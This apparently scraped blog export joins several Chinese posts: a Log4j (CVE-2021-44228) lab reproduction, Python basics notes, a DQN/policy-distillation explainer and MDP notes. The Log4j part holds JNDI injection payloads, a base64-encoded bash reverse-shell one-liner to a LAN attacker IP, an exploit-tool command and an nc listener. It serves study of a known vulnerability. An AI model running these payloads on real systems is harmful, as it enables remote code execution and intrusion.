//System.setProperty(\u0026#34;com.sun.jndi.ldap.object.trustURLCodebase\u0026#34;,\u0026#34;true\u0026#34;); //模拟填写数据,输入构造好的字符串,使受害服务器打印日志时执行远程的代码 同一台可以使用127.0.0.1 String username = \u0026#34;${jndi:rmi://127.0.0.1:1099/hack}\u0026#34;; //正常打印业务日志 logger.error(\u0026#34;username:{}\u0026#34;,username); } }\tdocker搭建 我们将受害者和攻击者部署在本地局域网当中\n攻击机的ip 192.168.221.128\n受害者部署 sudo apt install docker.io apt install docker-compose wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip unzip vulhub-master.zip cd vulhub-master//log4j//CVE-2021-44228 # 进入需要开启的漏洞路径 docker-compose up -d 访问 http://127.0.0.1:8983/solr/#/\n恶意JNDI服务器部署 利用JNDI-Injection-Exploit进行注入,这个工具开启了三个服务,包括RMI、LDAP以及HTTP服务,然后生成JNDI链接\n反弹shell 首先我们构造反弹shell用到的命令:(内网的机器反弹到外网机器上从而实现外网主机控制内网主机)\nbash -i \u0026gt;\u0026amp; /dev/tcp/192.168.221.128/6666 0\u0026gt;\u0026amp;1 bash -i打开一个交互式的shell \u0026gt;\u0026amp; 标准错误和标准输出重定向到文件 对于这个\u0026gt;\u0026amp; \u0026amp;\u0026gt; 的解释可以看bash的手册\n\u0026gt;/dev/tcp bash特性,一种固定的格式调用底层函数打开一个socket,类似还有/dev/udp\n0\u0026gt;\u0026amp;1 把输入重定向到标准输出\n这样外网的机器就可以获得一个完整的 shell\nbase64加密\nYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMS4xMjgvNjY2NiAwPiYx 可执行程序为jar包,在命令行中运行以下命令:\n$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address] 其中:\n-C - 远程class文件中要执行的命令。\n(可选项 , 默认命令是mac下打开计算器,即\u0026quot;open /Applications/Calculator.app\u0026quot;)\n-A - 服务器地址,可以是IP地址或者域名。\n(可选项 , 默认地址是第一个网卡地址)\njava -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C \u0026#34;bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMS4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}\u0026#34; -A \u0026#34;192.168.221.128\u0026#34; 类似下方的截图,会生成服务的链接\n同时在攻击机设置监听,监听由JNDI-Injection-Exploit恶意类注入后,反弹过来的shell\nnc -lvp 8787 构造恶意请求 在攻击机访问受害者链接,并加上下方的payload,ldap:192.168.221.128:1389/wna7wt是我开启的ldap服务的地址\n/solr/admin/cores?action=${jndi:ldap:192.168.221.128:1389/wna7wt} 0x05.参考文献 5 分钟复现 log4J 漏洞,手把手实现 - 腾讯云开发者社区-腾讯云 (tencent.com)\nLog4j 漏洞复现_william~的博客-CSDN博客_log4j漏洞复现\nJNDI-Injection-Exploit - Welk1n - 博客园 (cnblogs.com)\n","permalink":"https://niceasiv.cn/posts/log4j%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/","summary":"主要内容 CVE-2021-44228 Apache Log4j漏洞复现 0x01.漏洞情况 影响范围: Apache Log4j 2.x \u0026lt; 2.15.0-rc2\nApache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。\nSpring-Boot-strater-log4j2、Apache Struts2、Apache Solr、Apache Flink、Apache Druid、ElasticSearch、Flume、Dubbo、Redis、Logstash、Kafka均受影响。\n0x02.组件介绍 RIM RMI ( Remote Method Invocation , 远程方法调用 ) 是分布式编程中的一个基本思想。实现远程方法调用的技术有很多,例如CORBA、WebService,这两种是独立于编程语言的。而Java RMI是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法并获取执行结果,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。\n另外,需要知道注册表的概念,说简单一点就是,服务端那里有一个对象,客户端想要调用服务端里的那个对象的方法,而注册表就像一个中间人,服务端会将自己提供的服务的实现类交给这个中间人 , 并公开一个名称 . 任何客户端都可以通过公开的名称找到这个实现类 , 并调用它。\nLDAP LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。\n目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。\n目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。\nLDAP目录服务是由目录数据库和一套访问协议组成的系统。\nJNDI JNDI全称为Java Naming and Directory Interface,也就是Java命名和目录接口。\n既然是接口,那么就必定有其实现,而目前我们Java中使用最多的基本就是rmi和ldap的目录服务系统。\n而命名的意思就是,在一个目录系统,它实现了把一个服务名称和对象或命名引用相关联,在客户端,我们可以调用目录系统服务,并根据服务名称查询到相关联的对象或命名引用,然后返回给客户端。\n而目录的意思就是在命名的基础上,增加了属性的概念,我们可以想象一个文件目录中,每个文件和目录都会存在着一些属性,比如创建时间、读写执行权限等等,并且我们可以通过这些相关属性筛选出相应的文件和目录。\n而JNDI中的目录服务中的属性大概也与之相似,因此,我们就能在使用服务名称以外,通过一些关联属性查找到对应的对象。\n总结的来说:JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,我们能通过名称等去找到相关的对象,并把它下载到客户端中来。\n注册中心服务\n抽象接口,他隔离了具体的资源,使得连接相关更便捷\nJNDI则是Java中用于访问LDAP的API ,开发人员使用JNDI完成与LDAP 服务器 之间的通信,即用JNDI来访问LDAP,而不需要和具体的目录服务产品特性打交道。\nJNDI动态协议转换 当我们调用lookup()方法时,如果lookup方法的参数像demo中那样是一个uri地址,那么客户端就会去lookup()方法参数指定的uri中加载远程对象\nJNDl Naming Reference命名引用 当有客户端通过lookup(\u0026ldquo;refObj\u0026rdquo;)获取远程对象时,获取的是一个Reference存根(Stub),由于是 Reference的存根,所以客户端会现在本地的 classpath中去检查是否存在类refClassName,如果不存在则去指定的url动态加载。\n当系统使用log4j通过$形式将用户输入的信息打印到日志时﹐那这就会出现JNDI注入漏洞\n0x03.漏洞利用原理 利用条件\nJava应用引入了log4j-api和log4j-core两个jar包\n当系统使用log4j通过$形式将用户输入的信息打印到日志时﹐那这就会出现JNDI注入漏洞\n黑客在自己的客户端启动一个带有恶意代码的rmi服务,通过服务端的log4j的漏洞,向服务端的jndi context lookup的时候连接自己的rmi服务器,服务端连接rmi服务器执行lookup的时候会通过rmi查询到该地址指向的引用并且本地实例化这个类,所以在类中的构造方法或者静态代码块中写入逻辑,就会在服务端(jndi rmi过程中的客户端)实例化的时候执行到这段逻辑,导致jndi注入。\n·\n0x04.漏洞复现 实验环境 Windows 11 jdk-8u212-windows jdk 1.8.121(理论上JDK 6u211、7u201、8u191之前的版本都行) JNDI-Injection-Exploit log4j-api\u0026amp;log4j-core 2.15.0-rc2 docker 本地复现 复现的流程 ·\n·\nserver开启一个rmi import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIServer { public static void main(String[] args) { try { // 本地主机上的远程对象注册表Registry的实例,默认端口1099 LocateRegistry.createRegistry(1099); Registry registry = LocateRegistry.getRegistry(); System.out.println(\u0026#34;Create RMI registry on port 1099\u0026#34;); //返回的Java对象 Reference reference = new Reference(\u0026#34;HackCode\u0026#34;,\u0026#34;HackCode\u0026#34;,null); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); // 把远程对象注册到RMI注册服务器上,并命名为hack registry.","title":"Log4j漏洞复现"},{"content":"数据类型 字符串类 删除空白\nrstrip 删除右边空格\nlstrip 删除左边空格\nstrip 删除两边空格\nIn [1]: str=\u0026#34; python \u0026#34; In [2]: str.rstrip() Out[2]: \u0026#39; python\u0026#39; In [3]: str.lstrip() Out[3]: \u0026#39;python \u0026#39; In [4]: str.strip() Out[4]: \u0026#39;python\u0026#39; 列表 列表的索引从0开始\n元素添加和删除 1.在列表末尾添加元素\nIn [5]: bicycles = [\u0026#39;trek\u0026#39;, \u0026#39;cannondale\u0026#39;, \u0026#39;redline\u0026#39;, \u0026#39;specialized\u0026#39;] In [6]: bicycles[1] Out[6]: \u0026#39;cannondale\u0026#39; In [7]: bicycles.append(\u0026#34;app\u0026#34;) In [8]: bicycles Out[8]: [\u0026#39;trek\u0026#39;, \u0026#39;cannondale\u0026#39;, \u0026#39;redline\u0026#39;, \u0026#39;specialized\u0026#39;, \u0026#39;app\u0026#39;] 2.在列表任意位置插入元素\nIn [9]: bicycles.insert(0,\u0026#34;app\u0026#34;) In [10]: bicycles Out[10]: [\u0026#39;app\u0026#39;, \u0026#39;trek\u0026#39;, \u0026#39;cannondale\u0026#39;, \u0026#39;redline\u0026#39;, \u0026#39;specialized\u0026#39;, \u0026#39;app\u0026#39;] 3.从列表末尾或任意位置删除元素\npop()会返回弹出的元素\nIn [11]: bicycles.pop() Out[11]: \u0026#39;app\u0026#39; In [12]: bicycles Out[12]: [\u0026#39;app\u0026#39;, \u0026#39;trek\u0026#39;, \u0026#39;cannondale\u0026#39;, \u0026#39;redline\u0026#39;, \u0026#39;specialized\u0026#39;] In [14]: bicycles Out[14]: [\u0026#39;trek\u0026#39;, \u0026#39;cannondale\u0026#39;, \u0026#39;redline\u0026#39;, \u0026#39;specialized\u0026#39;] In [15]: bicycles.pop(0) Out[15]: \u0026#39;trek\u0026#39; 4.从列表删除任意位置元素\nIn [12]: bicycles Out[12]: [\u0026#39;app\u0026#39;, \u0026#39;trek\u0026#39;, \u0026#39;cannondale\u0026#39;, \u0026#39;redline\u0026#39;, \u0026#39;specialized\u0026#39;] In [13]: del bicycles[0] In [14]: bicycles Out[14]: [\u0026#39;trek\u0026#39;, \u0026#39;cannondale\u0026#39;, \u0026#39;redline\u0026#39;, \u0026#39;specialized\u0026#39;] 5.删除指定值\nremove()\nIn [18]: bicycles Out[18]: [\u0026#39;cannondale\u0026#39;, \u0026#39;redline\u0026#39;, \u0026#39;specialized\u0026#39;] In [19]: bicycles.remove(\u0026#39;redline\u0026#39;) In [20]: bicycles Out[20]: [\u0026#39;cannondale\u0026#39;, \u0026#39;specialized\u0026#39;] 元素排序 1.sort(*, key=None, reverse=False)永久性排序\nIn [26]: num=[1,3,2,4] In [27]: num.sort() In [28]: num Out[28]: [1, 2, 3, 4] 2.sorted(iterable, /, *, key=None, reverse=False)暂时性排序\nIn [1]: app=[\u0026#39;A\u0026#39;,\u0026#39;C\u0026#39;,\u0026#39;B\u0026#39;] In [2]: sorted(app) Out[2]: [\u0026#39;A\u0026#39;, \u0026#39;B\u0026#39;, \u0026#39;C\u0026#39;] 列表操作 列表解析\n要使用这种语法,首先指定一个描述性的列表名;然后,指定一个左方括号, 并定义一个表达式,用于生成你要存储到列表中的值。\nIn [3]: values=[_**2 for _ in range(1,11)] In [4]: values Out[4]: [1, 4, 9, 16, 25, 36, 49, 64, 81, 100] 复制\nt1=values t2=values[:] In [16]: t1 Out[16]: [1, 4, 9, 16, 25, 36, 49, 64, 81, 100] In [17]: t2 Out[17]: [1, 4, 9, 16, 25, 36, 49, 64, 81, 100] In [18]: values[2]=3 In [19]: t1 Out[19]: [1, 4, 3, 16, 25, 36, 49, 64, 81, 100] In [20]: t2 Out[20]: [1, 4, 9, 16, 25, 36, 49, 64, 81, 100] 元组 元组其实跟列表差不多,也是存一组数,只不是它一旦创建,便不能再修改,所以又叫只读列表\n元组使用小括号,列表使用方括号\n元组创建很简单,只需要在括号中添加元素,并使用逗号隔开即可\n用途:一般情况下用于自己写的程序能存下数据,但是又希望这些数据不会被改变,比如:数据库连接信息等\n#元组中的元素值是不允许修改的,但我们可以对元组进行连接组合,如下实例: \u0026gt;\u0026gt;\u0026gt; tup1 = (12, 34.56); \u0026gt;\u0026gt;\u0026gt; tup2 = (\u0026#39;abc\u0026#39;, \u0026#39;xyz\u0026#39;) # 以下修改元组元素操作是非法的。 # tup1[0] = 100 # 创建一个新的元组 \u0026gt;\u0026gt;\u0026gt; tup3 = tup1 + tup2; \u0026gt;\u0026gt;\u0026gt; print (tup3) (12, 34.56, \u0026#39;abc\u0026#39;, \u0026#39;xyz\u0026#39;) 虽然不能修改元组的元素,但是可以给存储元组的变量赋值\n字典 删除键值对\ndel() In [25]: dic Out[25]: {\u0026#39;a\u0026#39;: 1} In [26]: del dic[\u0026#39;a\u0026#39;] In [27]: dic Out[27]: {} 遍历字典\nIn [36]: for name,value in dic.items(): ...: print(name) ...: a b c In [37]: for name,value in dic.items(): ...: print(value) ...: 1 2 3 In [38]: for _ in dic.items(): ...: print(_) ...: (\u0026#39;a\u0026#39;, 1) (\u0026#39;b\u0026#39;, 2) (\u0026#39;c\u0026#39;, 3) 函数 传递实参 位置实参\n调用函数时,Python必须将函数调用中的每个实参都关联到函数定义中的一个形参。为此, 最简单的关联方式是基于实参的顺序。这种关联方式被称为位置实参。\ndef describe_pet(animal_type, pet_name): \u0026#34;\u0026#34;\u0026#34;显示宠物的信息\u0026#34;\u0026#34;\u0026#34; print(\u0026#34;\\nI have a \u0026#34; + animal_type + \u0026#34;.\u0026#34;) print(\u0026#34;My \u0026#34; + animal_type + \u0026#34;\u0026#39;s name is \u0026#34; + pet_name.title() + \u0026#34;.\u0026#34;) describe_pet(\u0026#39;hamster\u0026#39;, \u0026#39;harry\u0026#39;) 位置实参的顺序对函数的运行很重要\n关键字实参 关键字实参是传递给函数的名称—值对。你直接在实参中将名称和值关联起来了,因此向函数传递实参时不会混淆\ndef describe_pet(animal_type, pet_name): \u0026#34;\u0026#34;\u0026#34;显示宠物的信息\u0026#34;\u0026#34;\u0026#34; print(\u0026#34;\\nI have a \u0026#34; + animal_type + \u0026#34;.\u0026#34;) print(\u0026#34;My \u0026#34; + animal_type + \u0026#34;\u0026#39;s name is \u0026#34; + pet_name.title() + \u0026#34;.\u0026#34;) describe_pet(animal_type=\u0026#39;hamster\u0026#39;, pet_name=\u0026#39;harry\u0026#39;) Q:让实参变为可选\n可给实参指定一个默认值——空字符串\n传递任意数量的实参\ndef make_pizza(*toppings): \u0026#34;\u0026#34;\u0026#34;打印顾客点的所有配料\u0026#34;\u0026#34;\u0026#34; print(toppings) make_pizza(\u0026#39;pepperoni\u0026#39;) make_pizza(\u0026#39;mushrooms\u0026#39;, \u0026#39;green peppers\u0026#39;, \u0026#39;extra cheese\u0026#39;) 形参名*toppings中的星号让Python创建一个名为toppings的空元组,并将收到的所有值都封装到这个元组中。\n面向对象OOP 根据约定,在Python中首字母大写的是类\n使用isinstance来测试一个对象是否为某个类的实例\n方法__init__初始化方法\nclass Dog(): \u0026#39;\u0026#39;\u0026#39;A simple attempt to model a dog.\u0026#39;\u0026#39;\u0026#39; def __init__(self,name,age): self.name=name self.age=age def sit(self): print(self.name.title() + \u0026#34; is now sitting.\u0026#34;) def roll_over(self): print(self.name.title() + \u0026#34; rolled over!\u0026#34;) my_dog=Dog(\u0026#39;willie\u0026#39;,6) my_dog.sit() 每个与类相关联的方法 调用都自动传递实参self,它是一个指向实例本身的引用,让实例能够访问类中的属性和方法。\n我们将通过实参向Dog()传递名字和 年龄;self会自动传递,因此我们不需要传递它。每当我们根据Dog类创建实例时,都只需给最 后两个形参(name和age)提供值。\n继承 class Car(): def __init__(self, make, model, year) class ElectricCar(Car): \u0026#34;\u0026#34;\u0026#34;Represent aspects of a car, specific to electric vehicles.\u0026#34;\u0026#34;\u0026#34; def __init__(self, make, model, year): \u0026#34;\u0026#34;\u0026#34; 电动汽车的独特之处 初始化父类的属性,再初始化电动汽车特有的属性 \u0026#34;\u0026#34;\u0026#34; super(ElectricCar,self).__init__(make, model, year) #初始化父类方法 self.battery_size = 70 重写父类方法\n直接定义覆盖父类的函数即可,Python将忽略父类中的同名方法\ntodo :列表推导式\n","permalink":"https://niceasiv.cn/posts/pythonnote/","summary":"数据类型 字符串类 删除空白\nrstrip 删除右边空格\nlstrip 删除左边空格\nstrip 删除两边空格\nIn [1]: str=\u0026#34; python \u0026#34; In [2]: str.rstrip() Out[2]: \u0026#39; python\u0026#39; In [3]: str.lstrip() Out[3]: \u0026#39;python \u0026#39; In [4]: str.strip() Out[4]: \u0026#39;python\u0026#39; 列表 列表的索引从0开始\n元素添加和删除 1.在列表末尾添加元素\nIn [5]: bicycles = [\u0026#39;trek\u0026#39;, \u0026#39;cannondale\u0026#39;, \u0026#39;redline\u0026#39;, \u0026#39;specialized\u0026#39;] In [6]: bicycles[1] Out[6]: \u0026#39;cannondale\u0026#39; In [7]: bicycles.append(\u0026#34;app\u0026#34;) In [8]: bicycles Out[8]: [\u0026#39;trek\u0026#39;, \u0026#39;cannondale\u0026#39;, \u0026#39;redline\u0026#39;, \u0026#39;specialized\u0026#39;, \u0026#39;app\u0026#39;] 2.在列表任意位置插入元素\nIn [9]: bicycles.insert(0,\u0026#34;app\u0026#34;) In [10]: bicycles Out[10]: [\u0026#39;app\u0026#39;, \u0026#39;trek\u0026#39;, \u0026#39;cannondale\u0026#39;, \u0026#39;redline\u0026#39;, \u0026#39;specialized\u0026#39;, \u0026#39;app\u0026#39;] 3.从列表末尾或任意位置删除元素\npop()会返回弹出的元素\nIn [11]: bicycles.pop() Out[11]: \u0026#39;app\u0026#39; In [12]: bicycles Out[12]: [\u0026#39;app\u0026#39;, \u0026#39;trek\u0026#39;, \u0026#39;cannondale\u0026#39;, \u0026#39;redline\u0026#39;, \u0026#39;specialized\u0026#39;] In [14]: bicycles Out[14]: [\u0026#39;trek\u0026#39;, \u0026#39;cannondale\u0026#39;, \u0026#39;redline\u0026#39;, \u0026#39;specialized\u0026#39;] In [15]: bicycles.pop(0) Out[15]: \u0026#39;trek\u0026#39; 4.从列表删除任意位置元素\nIn [12]: bicycles Out[12]: [\u0026#39;app\u0026#39;, \u0026#39;trek\u0026#39;, \u0026#39;cannondale\u0026#39;, \u0026#39;redline\u0026#39;, \u0026#39;specialized\u0026#39;] In [13]: del bicycles[0] In [14]: bicycles Out[14]: [\u0026#39;trek\u0026#39;, \u0026#39;cannondale\u0026#39;, \u0026#39;redline\u0026#39;, \u0026#39;specialized\u0026#39;] 5.删除指定值\nremove()\nIn [18]: bicycles Out[18]: [\u0026#39;cannondale\u0026#39;, \u0026#39;redline\u0026#39;, \u0026#39;specialized\u0026#39;] In [19]: bicycles.remove(\u0026#39;redline\u0026#39;) In [20]: bicycles Out[20]: [\u0026#39;cannondale\u0026#39;, \u0026#39;specialized\u0026#39;] 元素排序 1.","title":"Python复习"},{"content":"为了理解蒸馏的含义,我们先以DQN为例\nDQN(Deep Q-Network)是一种强化学习算法,它通过深度神经网络来近似Q函数,从而实现智能体的行为决策。下面我们将介绍一个针对DQN网络的案例。\n假设我们有一个小型的迷宫环境,智能体的任务是通过左、右、上、下四个动作来找到宝藏并获得最高的奖励。我们可以使用DQN算法来训练智能体。\n首先,我们需要定义状态空间、动作空间、奖励函数以及转移函数。在这个案例中,状态空间是迷宫中每个位置的坐标,动作空间是四个方向,奖励函数是在找到宝藏时获得的奖励,转移函数是在智能体执行一个动作后转移到下一个状态的过程。\n然后,我们可以使用深度神经网络来近似Q函数。在这个案例中,我们可以使用一个简单的全连接神经网络,它的输入是当前状态,输出是四个动作的Q值。我们使用均方误差损失函数来度量Q值的预测误差,并使用梯度下降算法来优化神经网络参数。\n接下来,我们可以使用经验回放机制来训练DQN网络。经验回放是一种存储智能体的经验,并从中随机抽样的机制。这样可以使得训练数据更加丰富、稳定,并且可以避免连续的训练样本之间的相关性。在每次训练中,我们随机从经验池中选择一个批次的样本,然后用它来更新神经网络参数。\n最后,我们可以通过迭代训练来提高DQN网络的性能。我们通过不断地与环境交互、收集经验、更新神经网络参数来提高DQN网络的预测性能。在训练的过程中,我们可以使用ε-greedy策略来平衡探索和利用,这样可以使得智能体在探索新状态和利用已有知识之间找到一个平衡点。\n通过以上的训练过程,我们可以得到一个训练好的DQN网络,它可以在迷宫环境中通过左、右、上、下四个动作来找到宝藏并获得最高的奖励。\n下面是一个基于DQN算法的伪代码:\n初始化神经网络 Q(s,a;θ) 的参数 θ 初始化目标网络 Q\u0026rsquo;(s,a;θ^-) 的参数 θ^-\n初始化经验池 D\nfor episode = 1 to M do: 初始化状态 s for t = 1 to T do: 选择动作 a : 如果随机数小于 ε,则选择一个随机动作 否则,选择 a = argmax Q(s,a;θ) 执行动作 a 并观察下一个状态 s\u0026#39; 和奖励 r 存储经验 (s, a, r, s\u0026#39;) 到经验池 D 从经验池 D 中随机抽取一个批次的经验 (s_i, a_i, r_i, s\u0026#39;_i) 对于批次中的每个样本 (s_i, a_i, r_i, s\u0026#39;_i) ,计算目标 Q 值: 如果 s\u0026#39;_i 是终止状态,则 Q_target = r_i 否则,Q_target = r_i + γ max Q\u0026#39;(s\u0026#39;_i, a\u0026#39;;θ^-) 使用 Q(s_i, a_i;θ) 和 Q_target 之间的均方误差来更新神经网络 Q(s,a;θ) 的参数 θ 如果 t mod C == 0,那么将目标网络的参数 θ^- 更新为 Q(s,a;θ) 的参数 θ 将状态更新为 s\u0026#39; 减小 ε 保存神经网络 Q(s,a;θ) 的参数 θ 其中,M 是迭代训练的次数,T 是每个 episode 的最大步数,ε 是 ε-greedy 策略中的探索率,γ 是折扣因子,C 是更新目标网络的间隔,D 是经验池,Q 和 Q\u0026rsquo; 分别是当前网络和目标网络。\n","permalink":"https://niceasiv.cn/posts/policy_distillation/","summary":"为了理解蒸馏的含义,我们先以DQN为例\nDQN(Deep Q-Network)是一种强化学习算法,它通过深度神经网络来近似Q函数,从而实现智能体的行为决策。下面我们将介绍一个针对DQN网络的案例。\n假设我们有一个小型的迷宫环境,智能体的任务是通过左、右、上、下四个动作来找到宝藏并获得最高的奖励。我们可以使用DQN算法来训练智能体。\n首先,我们需要定义状态空间、动作空间、奖励函数以及转移函数。在这个案例中,状态空间是迷宫中每个位置的坐标,动作空间是四个方向,奖励函数是在找到宝藏时获得的奖励,转移函数是在智能体执行一个动作后转移到下一个状态的过程。\n然后,我们可以使用深度神经网络来近似Q函数。在这个案例中,我们可以使用一个简单的全连接神经网络,它的输入是当前状态,输出是四个动作的Q值。我们使用均方误差损失函数来度量Q值的预测误差,并使用梯度下降算法来优化神经网络参数。\n接下来,我们可以使用经验回放机制来训练DQN网络。经验回放是一种存储智能体的经验,并从中随机抽样的机制。这样可以使得训练数据更加丰富、稳定,并且可以避免连续的训练样本之间的相关性。在每次训练中,我们随机从经验池中选择一个批次的样本,然后用它来更新神经网络参数。\n最后,我们可以通过迭代训练来提高DQN网络的性能。我们通过不断地与环境交互、收集经验、更新神经网络参数来提高DQN网络的预测性能。在训练的过程中,我们可以使用ε-greedy策略来平衡探索和利用,这样可以使得智能体在探索新状态和利用已有知识之间找到一个平衡点。\n通过以上的训练过程,我们可以得到一个训练好的DQN网络,它可以在迷宫环境中通过左、右、上、下四个动作来找到宝藏并获得最高的奖励。\n下面是一个基于DQN算法的伪代码:\n初始化神经网络 Q(s,a;θ) 的参数 θ 初始化目标网络 Q\u0026rsquo;(s,a;θ^-) 的参数 θ^-\n初始化经验池 D\nfor episode = 1 to M do: 初始化状态 s for t = 1 to T do: 选择动作 a : 如果随机数小于 ε,则选择一个随机动作 否则,选择 a = argmax Q(s,a;θ) 执行动作 a 并观察下一个状态 s\u0026#39; 和奖励 r 存储经验 (s, a, r, s\u0026#39;) 到经验池 D 从经验池 D 中随机抽取一个批次的经验 (s_i, a_i, r_i, s\u0026#39;_i) 对于批次中的每个样本 (s_i, a_i, r_i, s\u0026#39;_i) ,计算目标 Q 值: 如果 s\u0026#39;_i 是终止状态,则 Q_target = r_i 否则,Q_target = r_i + γ max Q\u0026#39;(s\u0026#39;_i, a\u0026#39;;θ^-) 使用 Q(s_i, a_i;θ) 和 Q_target 之间的均方误差来更新神经网络 Q(s,a;θ) 的参数 θ 如果 t mod C == 0,那么将目标网络的参数 θ^- 更新为 Q(s,a;θ) 的参数 θ 将状态更新为 s\u0026#39; 减小 ε 保存神经网络 Q(s,a;θ) 的参数 θ 其中,M 是迭代训练的次数,T 是每个 episode 的最大步数,ε 是 ε-greedy 策略中的探索率,γ 是折扣因子,C 是更新目标网络的间隔,D 是经验池,Q 和 Q\u0026rsquo; 分别是当前网络和目标网络。","title":"策略蒸馏"},{"content":"基础 马尔科夫决策(MDP) 在随机过程中某时刻$t$的状态用$S_t$表示,所以可能的状态组成了状态空间$S$。\n如果已知历史的状态信息即$(S_1,\u0026hellip;,S_t)$,那么下一个时刻状态为$S_{t+1}$的概率为$P(S_{t+1}\\mid S_1,\u0026hellip;,S_t)$\n当且仅当某时刻的状态只取决于上一时刻的状态时,一个随机过程被称为具有马尔可夫性质\n$$ P(S_{t+1}\\mid S_t)=P(S_{t+1}\\mid S_1,\u0026hellip;,S_t) $$ 也就是说当前状态是未来的充分统计量,即下一个状态只取决于当前状态,而不会受到过去状态的影响。\n注意:\n虽然$t+1$时刻的状态只与$t$时刻的状态有关,但是$t$时刻的状态其实包含了$t-1$时刻的状态的信息,通过这种链式的关系,历史的信息被传递到了现在。\nMarkov process 通常用两元组$\u0026lt;S,P\u0026gt;$描述一个马尔科夫过程,其中$S$是有限状态集合,$P$是状态转移矩阵\n矩阵$P$中第$i$行第$j$列$P(s_j|s_i)$表示状态$s_i$转移到状态$s_j$的概率,从某个状态出发,到达其他状态的概率和必须为1,即状态转移矩阵的每一行的和为1。\n给定一个马尔可夫过程,我们就可以从某个状态出发,根据它的状态转移矩阵生成一个状态序列(episode),这个步骤也被叫做采样(sampling)。\nMarkov reward process(MRP) 一个马尔科夫奖励过程由$\\langle \\mathcal{S},\\mathcal{P},r,\\gamma \\rangle$\n$\\mathcal{S}$ 是有限状态的集合。 $\\mathcal{P}$ 是状态转移矩阵。 $r$是奖励函数,某个状态$s$的奖励$r(s)$指转移到该状态时可以获得奖励的期望。 $\\gamma$ 是折扣因子,$\\gamma$的取值为$[0,1)$ 。引入折扣因子的理由为远期利益具有一定不确定性,有时我们更希望能够尽快获得一些奖励,所以我们需要对远期利益打一些折扣。接近 1 的 $\\gamma$ 更关注长期的累计奖励,接近0的$\\gamma$ 更考虑短期奖励。 奖励函数的本质:向智能体传达目标(MDP) 强化学习的标准交互过程如下:每个时刻,智能体根据根据其 策略(policy),在当前所处 状态(state) 选择一个 动作(action),环境(environment) 对这些动作做出相应的相应的响应,转移到新状态,同时产生一个 奖励信号 (reward),这通常是一个数值,奖励的折扣累加和称为 收益/回报 (return),是智能体在动作选择过程中想要最大化的目标\n“奖励 \u0026amp; 收益” 其实是智能体目标的一种形式化、数值化的表征。可以把这种想法非正式地表述为 “收益假设” 收益是通过奖励信号计算的,而奖励函数是我们提供的,奖励函数起到了人与算法沟通的桥梁作用 需要注意的是,智能体只会学习如何最大化收益,如果想让它完成某些指定任务,就必须保证我们设计的奖励函数可以使得智能体最大化收益的同时也能实现我们的目标 回报 在一个马尔可夫奖励过程中,从第$t$时刻状态$S_t$开始,直到终止状态时,所有奖励的衰减之和称为回报(Return)\n假设设置$\\gamma =0.5$\n$$ G_t=R_t+\\gamma R_{t+1}+\\gamma^2 R_{t+2}+\\cdots=\\sum_{k=0}^{\\infty} \\gamma^k R_{t+k} $$ 假设路径为1,2,3,6\nimport numpy as np np.random.seed(0) #概率转移矩阵 P=[ [0.9,0.1,0.0,0.0,0.0,0.0], [0.5,0.0,0.5,0.0,0.0,0.0], [0.0,0.0,0.0,0.6,0.0,0.4], [0.0,0.0,0.0,0.0,0.3,0.7], [0.0,0.2,0.3,0.5,0.0,0.0], [0.0,0.0,0.0,0.6,0.0,1.0], ] P=np.array(P) rewards=[-1,-2,-2,10,1,0] gamma=0.5 def compute_chain_reward(start_index,chain,gamma): reward=0 for i in range(len(chain)): reward=gamma*reward+rewards[chain[i]-1] return reward chain=[1,2,3,6] start_index=0 reward=compute_chain_reward(start_index,chain,gamma) print(reward) 状态价值函数 一个状态的期望回报(即从这个状态出发的未来累积奖励的期望)-\u0026gt;价值\n即其状态价值函数$V_{\\pi}(s)$就等于转移到每个通路上的概率(由策略决定)乘以每条路上得到的回报即\n$V(s)=\\mathbb{E}\\left[G_t \\mid S_t=s\\right]$\n展开为: $$ \\begin{align} V(s) \u0026amp;=\\mathbb{E}[G_t \\mid S_t=s] \\ \u0026amp;=\\mathbb{E}[R_t+\\gamma R_{t+1}+\\gamma^2 R_{t+2}+\u0026hellip;\\mid S_t=s]\\ \u0026amp;=\\mathbb{E}[R_t+\\gamma(R_{t+1}+\\gamma R_{t+2})+\u0026hellip; \\mid S_t=s]\\ \u0026amp;=\\mathbb{E}[R_t+\\gamma G_{t+1}\\mid S_t=s]\\ \u0026amp;=\\mathbb{E}[R_t+\\gamma V(S_{t+1})\\mid S_t=s]\\ \\end{align} $$ 一方面,即时奖励的期望正是奖励函数的输出,即:\n$\\mathbb{E}\\left[R_t \\mid S_t=s\\right]=r(s)$\n另一方面,等式中剩余部分 $\\mathbb{E}\\left[\\gamma V\\left(S_{t+1}\\right) \\mid S_t=s\\right]$ 可以根据从状态$s$出发的转移概率得到,即可以得到 $$ V(s)=r(s)+\\gamma\\sum_{s^{\\prime} \\in S }{p(s^{\\prime} \\mid s)V(s^\\prime)} $$ 上式就是马尔可夫奖励过程中非常有名的贝尔曼方程 (Bellman equation),对每一个状态都成立。\n上式就是马尔可夫奖励过程中非常有名的贝尔曼方程 (Bellman equation),对每一个状态都成立。\n若一个马尔可夫奖励过程一共有 $n$ 个状 态,即 $\\mathcal{S}=\\left{s_1, s_2, \\ldots, s_n\\right}$ ,我们将所有状态的价值表示成一个列向量 